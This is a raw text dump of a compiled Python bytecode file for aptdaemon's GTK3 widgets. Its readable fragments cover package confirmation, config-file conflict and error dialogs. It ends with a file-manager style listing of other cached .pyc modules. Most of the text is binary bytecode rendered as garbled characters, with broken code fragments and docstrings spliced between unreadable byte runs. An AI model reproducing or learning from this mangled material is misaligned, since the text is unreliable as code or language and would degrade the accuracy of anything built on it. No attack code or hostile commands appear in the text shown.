[U[R5(a,UR5 URR!U5 OUR!U5 UR#S5 UR%S5 UR'5R)S5 [R*R-[R.[R0R25nUR5SS5 [R6"5nUR)S5 UR%S5 [R8"5nUR)S5 UR;USSS5 UR;USSS5 [R<"5UlUR>RAS5 UR>R5SS5 UR;UR>SSS5 UR'5R;USSS5 [RB"[DRF5Ul$[RJRMURH5Ul'URNRQS5 URNRSS5 [RT"5Ul+URNRYURV5 [RZ"5nURVR;US5 URVR]XpR^S5 [R`"5nURVR;US5 URVR]X�RbS5 [Rd"5Ul3URfRi[RjRl[RjRl5 URfRo[RpRr5 URfRuURN5 UR;URfSSS5 URw[R
R5 g)	aReturn an AptConfirmDialog instance.

Keyword arguments:
trans -- the transaction of which the dependencies should be shown
cache -- an optional apt.cache.Cache() instance to provide more details
         about packages
parent -- set the dialog transient for the given Gtk.Window
rzrTr|r}rFN)<rr�r,�
add_buttonr!r�rr�r��cacher��
isinstancer�Windowr��window�set_transient_forr�r�r�r�r+r�r�rMrNr0r�r�r�r�r�r��	TreeStorerr:�	treestorer8�new_with_model�treeview�set_headers_visibler?rCrsrI�CellRendererPixbufrG�render_package_iconrA�render_package_descr��scrolledr�r�r�r�r�r�r�r	)	r2r�rr{r�r�r��	cell_icon�	cell_descs	         r#r,�AptConfirmDialog.__init__msn��	�
�
���D��0�����(�(�#�*:�*:�*A�*A�B�����+���(8�(8�(;�(;�<��
��
��f�c�j�j�)�)��L�L�N��K�K�)�)�&�1��"�"�6�*����4� ����a� �����+�+�B�/��y�y�'�'��(A�(A�(+���(;�(;�=�����1�a� ��H�H�J�	����b�!��"�"�1�%��H�H�J�	����b�!����T�5�$��2����Y��d�A�6��Y�Y�[��
��
�
�!�!�$�'��
�
� � ��A�&����T�Z�Z���a�8�����*�*�9�d�D�!�D����w�':�':�;������3�3�D�N�N�C��
��
�
�)�)�%�0��
�
�$�$�T�*��(�(�*����
�
�#�#�D�K�K�0��*�*�,�	������y�%�0����&�&�y�2J�2J�'+�	-��(�(�*�	������y�$�/����&�&�y�2J�2J�'+�	-��*�*�,��
��
�
� � ����!9�!9�!$���!9�!9�	;��
�
�%�%�c�n�n�&>�&>�?��
�
���$�-�-�(����T�]�]�D�$��:��!�!�#�"2�"2�"9�"9�:r%c��	�URR5 [[S5[S5[S5[S5[S5[S5[S5/5H�upURR
U(dM%URR
SS	U-/5nURR
UHAnURU5H)nURR
U[U5/5 M+ MC M� [S
5n[UR5S:XGaSURR[RR55nURR5 URR!U5 URR#S5 URR
[$(a
[S
5nGOURR
[&(a[S5nO�URR
[((a[S5nO�URR
[*(a[S5nO�URR
[,(a[S5nO[URR
[.(a[S5nO-URR
[0(a[S5n[U5S:a^UR3S5 UR4R7[R8R:[R8R<5 O^URR?SS5 OA[S5nURR?SS5 URRA5 URRB(a>US-
nU[S5[DRF"URRB5--
nURRHS:a?US-
nU[S5[DRF"URRH5--
nOXURRHS:�a>US-
nU[S5[DRF"URRH5--
nURJRMSW<SU<35 g)z2Show a message and the dependencies in the dialog.�Install�	Reinstall�Remove�Purge�Upgrade�	DowngradezSkip upgradeNz	<b>%s</b>z0Please take a look at the list of changes below.rFz'Additional software has to be installedz*Additional software has to be re-installedz%Additional software has to be removedz$Additional software has to be purgedz&Additional software has to be upgradedz(Additional software has to be downgradedzUpdates will be skippedr|r�r�zAdditional changes are required�
z %sB will be downloaded in total.rz %sB of disk space will be freed.z!%sB more disk space will be used.z<b><big>z</big></b>

)'r�clear�	enumerater�r��dependenciesr9�map_package�strrt�
filter_newr�TreePath�	new_firstr�
expand_allr<�set_show_expanders�PKGS_INSTALL�PKGS_REINSTALL�PKGS_REMOVE�
PKGS_PURGE�PKGS_UPGRADE�PKGS_DOWNGRADE�	PKGS_KEEPr�rr�r�r�r�r��collapse_all�downloadrr��spacer�r�)r2�indexr"�piter�pkg�object�filtered_storer�s        r#�
_show_changes�AptConfirmDialog._show_changes�s���������#�Q�y�\�%&�{�^�%&�x�[�%&�w�Z�%&�y�\�%&�{�^�%&�~�%6�
%8�9�J�E��z�z�&�&�u�-�-����-�-�d�[�3�5F�4G�H���:�:�2�2�5�9�C�"&�"2�"2�3�"7�����-�-�e�c�&�k�]�C�#8�:�9�"�B�C���t�~�~��!�#�!�^�^�6�6����&�&�(�*�N��M�M�$�$�&��M�M�#�#�N�3��M�M�,�,�U�3��z�z�&�&�|�4��C�D�����(�(��8��F�G�����(�(��5��A�B�����(�(��4��@�A�����(�(��6��B�C�����(�(��8��D�E�����(�(��3��3�4���>�"�Q�&��"�"�5�)��
�
�(�(����)A�)A�),���)=�)=�?��
�
�.�.�s�C�8��7�8�E��M�M�*�*�3��4��M�M�&�&�(��:�:����4�K�C��A�8�9��*�*�4�:�:�+>�+>�?�@�
A�C��:�:���a���4�K�C��A�8�9��*�*�4�:�:�+;�+;�<�=�
>�C�
�Z�Z�
�
��
!��4�K�C��A�9�:��*�*�4�:�:�+;�+;�<�=�
>�C��
�
���e�S�I�Jr%c��U/$)z�Map a package to a different object type, e.g. applications
and return a list of those.

By default return the package itself inside a list.

Override this method if you don't want to store package names
in the treeview.
rP)r2r>s  r#r+�AptConfirmDialog.map_package�s���u�r%c��URU5nUR5S:XaSURlOSURlSURlg)z�Data func for the Gtk.CellRendererPixbuf which shows the package.

Override this method if you want to show custom icons for
a package or map it to applications.
rFTzapplications-otherN)rh�	get_depthr=r�r.)r2rsrtrLrbru�paths       r#r�$AptConfirmDialog.render_package_icon�sE���~�~�d�#���>�>��q� �!&�D�J�J��!%�D�J�J��3��
�
�r%c��URUS5nU(dgURS5SSupxU(a&U<SU<SURUR<S3n	O"U<SURUR<S3n	URSU	5 g![a UnSnNsf=f![
[4a U(aU<SU<S	3n	NJS
U-n	NQf=f)z�Data func for the Gtk.CellRendererText which shows the package.

Override this method if you want to show more information about
a package or map it to applications.
rN�=r&z (z	)
<small>rYrW�)z%sr6)rd�split�
ValueErrorr�summaryrbr��set_property)
r2rsrtrLrbrurr�pkg_name�pkg_versionr�s
          r#r�$AptConfirmDialog.render_package_descs�������a�(����	�$)�K�K��$4�Q�q�$9�!�H�	'���k�4�:�:�h�+?�+G�+G�I���d�j�j��2�:�:�<��	
���(�D�)���	��H��K�	���)�$�	'��$,�k�:���h���		'�s.�B�,B)� !B)�B&�%B&�)!C�C�Cc��UR5 UR5 [RR	U5$r�)rAr�rr�r�r�s r#r��AptConfirmDialog.runs*�������
�
���z�z�~�~�d�#�#r%)rrsr�rr�rrr�)rHrIrJrKrLr,rAr+rrr�rOrPr%r#rrgs(���9;�v?K�B	�4�*�8$r%rc�(�\rSrSrSrSSjrSrSrg)ri#zKDialog to resolve conflicts between local and shipped
configuration files.
Nc
��XlX l[S5U-n[S5n[R"SSS9nUR[RR[RR5 UR[RR5 [5UlURRSS5 URUR5 [R!X[S5UXE[S5[R"R$[S	5[R"R&4S
9 UR)[R"R&5 g)NzLReplace your changes in '%s' with a later version of the configuration file?zRIf you don't know why the file is there already, it is usually safe to replace it.T)�hexpand�vexpandrVr��_Changes�_Keep�_Replace)r{r�r�r�rmr�)�	from_path�to_pathr�rr�r�r�r�r�r�r�r�diffviewr�r�r�r,r��NOr�r	)r2r\r]r{r�r"rs       r#r,�$AptConfigFileConflictDialog.__init__)s��"�����,�-�/8�9���.�/���%�%�d�D�A�����C�N�N�4�4�c�n�n�6N�6N�O�� � ����!9�!9�:� �
��
��
�
�&�&�r�3�/����T�]�]�#��"�"�4�23�J�-�2:�).�,-�g�J��8H�8H�8K�8K�,-�j�M�,/�,<�,<�,@�,@�,B�		#�	C�	
�!�!�#�"2�"2�"6�"6�7r%c��UR5 URRURUR5 [
R
U5$r�)r�r^�	show_diffr\r]r�r�r�s r#r��AptConfigFileConflictDialog.run@s8���
�
���
�
���������=� �$�$�T�*�*r%)r^r\r]r�)rHrIrJrKrLr,r�rOrPr%r#rr#s���8�.+r%rzp^@@ \-(?P<from_start>[0-9]+)(?:,(?P<from_context>[0-9]+))? \+(?P<to_start>[0-9]+)(?:,(?P<to_context>[0-9]+))? @@c�(�\rSrSrSrSrSrSrSrg)riJz'Shows the difference between two files.u[…]
c��[R"5Ul[RR	XRS9 URSS5 UR
S5 URR5n[RRS5nURSS9 URU5 [RRS5nURSSS	9 URU5 [RRS
5nURSSS	9 URU5 [RRS5nURSS
S	9 URU5 g)N)�buffer�editableF�default�Mono)�fontr�z#8ae234)rj�
background�removez#ef2929�numberz#eee)r�
TextBuffer�
textbuffer�TextViewr,rO�set_cursor_visible�
get_tag_table�TextTagr��set_propertiesr�)r2�tags�tag_default�tag_add�
tag_remove�tag_nums      r#r,�DiffView.__init__Ps*���.�.�*��������d�?�?��;����*�e�,�����&����,�,�.���k�k�o�o�i�0���"�"��"�/�������+�+�/�/�%�(�����F�*3�	�	5�������[�[�_�_�X�.�
��!�!�v�-6�	"�	8�������+�+�/�/�(�+�����F�*0�	�	2�����r%c�,^�[U5nUR5nSSS5 [U5nUR5nSSS5 U4SjnSnTRR	5n[
R"WWSS9GHYn	U	RS5(a\[R"[U	5n
U
(dM>[U
RS55nUS:�aU"UTRS	5 MtMvU	RS
5(dU	RS5(aM�U	RS5(a#US-
nU"U[U5S
5 U"X�S	5 M�U	RS5(a$US-
nU"U[U5S
5 U"X�S5 GMU	RS5(dGM0S[[U55-nU"X�S
5 U"X�S5 GM\ g!,(df   GN�=f!,(df   GN�=f![a gf=f)z&Show the difference between two files.Nc��>�UR5nTRRX5 TRRUTRR	U5U5 gr�)�
get_offsetro�insert�apply_tag_by_name�get_iter_at_offset)rbr��tag�offsetr2s    �r#�insert_tagged_text�.DiffView.show_diff.<locals>.insert_tagged_texttsJ����_�_�&�F��O�O�"�"�4�.��O�O�-�-��T�_�_�7�7��?��
Gr%rr)�linetermz@@�
from_startrrhz---z+++r�rm�-rl�+r�)�open�	readlines�IOErrorro�get_start_iter�difflib�unified_diff�
startswith�re�match�REGEX_RANGErZ�group�ELLIPSISr,rt)r2r\r]�fp�
from_lines�to_linesr��line_numberrb�liner��spacess`           r#rb�DiffView.show_diffgs����	��i��B��\�\�^�
�!��g��"��<�<�>���	G������-�-�/���(�(��X��K�D����t�$�$�����d�3����!�%�+�+�l�";�<����?�&�t�T�]�]�I�F�#�����'�'�4�?�?�5�+A�+A������%�%��q� ��"�4��[�)9�8�D�"�4�y�9�����%�%��q� ��"�4��[�)9�8�D�"�4�x�8�����%�%��s�3�{�#3�4�4��"�4��:�"�4�u�5�+L�%!�������	��	�sD�H�G"�H�G4�H�"
G1�,H�4
H�>H�H�
H�H)roN)	rHrIrJrKrLr�r,rbrOrPr%r#rrJs��1��H��.+6r%rc�"�\rSrSrSrSSjrSrg)�_DetailsExpanderMessageDialogi�z"
Common base class for Apt*Dialog
Nc
��[R"5nUR[RR[RR5 UR[RR5 [R"5nUR[RR5 UR5nURU5 [RX[!S5UXUS9 UR#5 U(aUR%U5 gUR&R)S5 g)N�_Details)r{r�r�r�rmr�F)rr�r�r�r�r�r�r�rp�
set_wrap_mode�WrapMode�WORD�
get_bufferr�r�r,r�r��insert_at_cursorr��set_visible)	r2r�rjr�detailsr{r�textviewrfs	         r#r,�&_DetailsExpanderMessageDialog.__init__�s����%�%�'�����C�N�N�4�4�c�n�n�6N�6N�O�� � ����!9�!9�:��<�<�>�����s�|�|�0�0�1��$�$�&�����X���"�"�4�23�J�-�2:�)-�.2�		#�	4�
	
�
�
����#�#�G�,��M�M�%�%�e�,r%rPr�rrPr%r#r�r��s���-r%r�c�"�\rSrSrSrSSjrSrg)ri�zE
Dialog for aptdaemon errors with details in an expandable text view
Nc��[UR5n[UR5n[R	XU[
RURU5 gr�)�get_error_string_from_enum�code�get_error_description_from_enumr�r,r�STOCK_DIALOG_ERRORr�)r2r�r{r�rjs     r#r,�AptErrorDialog.__init__�sB��)�%�*�*�5��.�u�z�z�:��%�.�.���c�4�4�e�m�m�V�	Mr%rPr�rrPr%r#rr�s
���Mr%r);rL�
__author__�__all__r�r rrr��gi�require_version�apt_pkg�
gi.repositoryrrrrrrrr�enums�deferr�defer.utilsrr�rwrr�	COLUMN_ID�COLUMN_PACKAGEr+rrr	r�r
rr�rr�r�rrrrr8r�r�rr�rrrrr�rprr�rrPr%r#�<module>r�s����*5�
�
����	�
�	�	����5�&�!����5�%� ����5�%� ��!��������"�!�2����a��>����#'�C�I�I�#'�L'�-�'�.N+��N+�bD�3�9�9�D�6�S�Y�Y��B7�S�_�_�7�t@%����@%�F%�#�,�,�%�8%"�c�j�j�%"�Pe(�s�|�|�e(�PL��
�
�L�^O&��
�
�O&�d7�c�/�/�7�$y$�s�z�z�y$�x +�"3� +�FG��H6�s�|�|�H6�V-�$5�-�2M�2�Mr%

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 495 B 0644
client.cpython-313.pyc File 64.91 KB 0644
console.cpython-313.pyc File 33.16 KB 0644
core.cpython-313.pyc File 96.5 KB 0644
crash.cpython-313.pyc File 3.17 KB 0644
debconf.cpython-313.pyc File 9.05 KB 0644
enums.cpython-313.pyc File 20.51 KB 0644
errors.cpython-313.pyc File 9.93 KB 0644
gtk3widgets.cpython-313.pyc File 67.17 KB 0644
lock.cpython-313.pyc File 8.36 KB 0644
logger.cpython-313.pyc File 2.48 KB 0644
loop.cpython-313.pyc File 555 B 0644
networking.cpython-313.pyc File 12.09 KB 0644
policykit1.cpython-313.pyc File 7.13 KB 0644
progress.cpython-313.pyc File 43.79 KB 0644
utils.cpython-313.pyc File 5.03 KB 0644
Filemanager